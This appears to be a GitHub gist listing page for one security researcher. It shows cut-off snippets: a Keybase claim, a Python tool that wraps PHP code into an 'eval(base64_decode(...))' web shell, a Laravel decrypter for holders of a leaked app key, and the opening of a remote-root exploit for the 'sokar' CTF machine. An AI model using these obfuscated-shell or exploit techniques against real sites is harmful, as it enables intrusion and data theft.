I hereby claim:
- I am leonjza on github.
- I am leonjza (https://keybase.io/leonjza) on keybase.
- I have a public key whose fingerprint is 0087 A89D 911F ACE7 A2AC 31B5 AE1F 2509 6C0C B06B
To claim this, I am signing this object:
I hereby claim:
To claim this, I am signing this object:
import base64 | |
import sys | |
import re | |
SHELL = "<?php eval(base64_decode(\"{shell}\"));" | |
with open(sys.argv[1]) as f: | |
source = f.readlines() | |
source = ''.join(source).replace('\n', '') | |
source = source.replace('<?php', '') |
# Kali Linux (Rolling) Docker Image | |
# 2016 | |
# | |
# Build the image with: | |
# $ docker build -t kali-rolling . | |
# | |
# Start a container for the first time from a built image with: | |
# $ docker run -ti --name kali -h kali kali-rolling | |
# | |
# After the first run, start the image with: |
<?php | |
/* | |
* Quick 'n Dirty Laravel 5.1 decrypter. | |
* | |
* Based directly off the source code at: | |
* https://github.com/laravel/framework/blob/5.1/src/Illuminate/Encryption/Encrypter.php | |
* | |
* Have access to an application key from a .env? | |
* Have some encrypted data you want to decrypt? | |
* Well: (new Crypt($key))->decrypt($payload); should have you sorted |
I hereby claim:
To claim this, I am signing this object:
@echo off | |
title Command Prompt Batch | |
ver | |
echo. | |
:Loop | |
set /P the="%cd%>" | |
%the% | |
echo. | |
goto loop |
#!/usr/bin/python | |
import os | |
import errno | |
import sqlite3 | |
import sys | |
from time import time | |
from cPickle import loads, dumps | |
import logging |
update_auth_sock() { | |
local socket_path="$(tmux show-environment | sed -n 's/^SSH_AUTH_SOCK=//p')" | |
if ! [[ "$socket_path" ]]; then | |
echo 'no socket path' >&2 | |
return 1 | |
else | |
export SSH_AUTH_SOCK="$socket_path" | |
fi | |
} |
def dump(obj, name = None): | |
for attr in dir(obj): | |
if hasattr(obj, attr): | |
print(" * %s.%s = %s" % ('obj' if name is None else name, attr, getattr(obj, attr))) | |
def noValDump(obj, name = None): | |
for attr in dir(obj): | |
if hasattr(obj, attr): | |
print(" * %s.%s" % ('obj' if name is None else name, attr)) |
#!/usr/bin/python | |
# 2015 Leon Jacobs | |
# sokar remote root command execution | |
import requests | |
import sys | |
if len(sys.argv) < 2: | |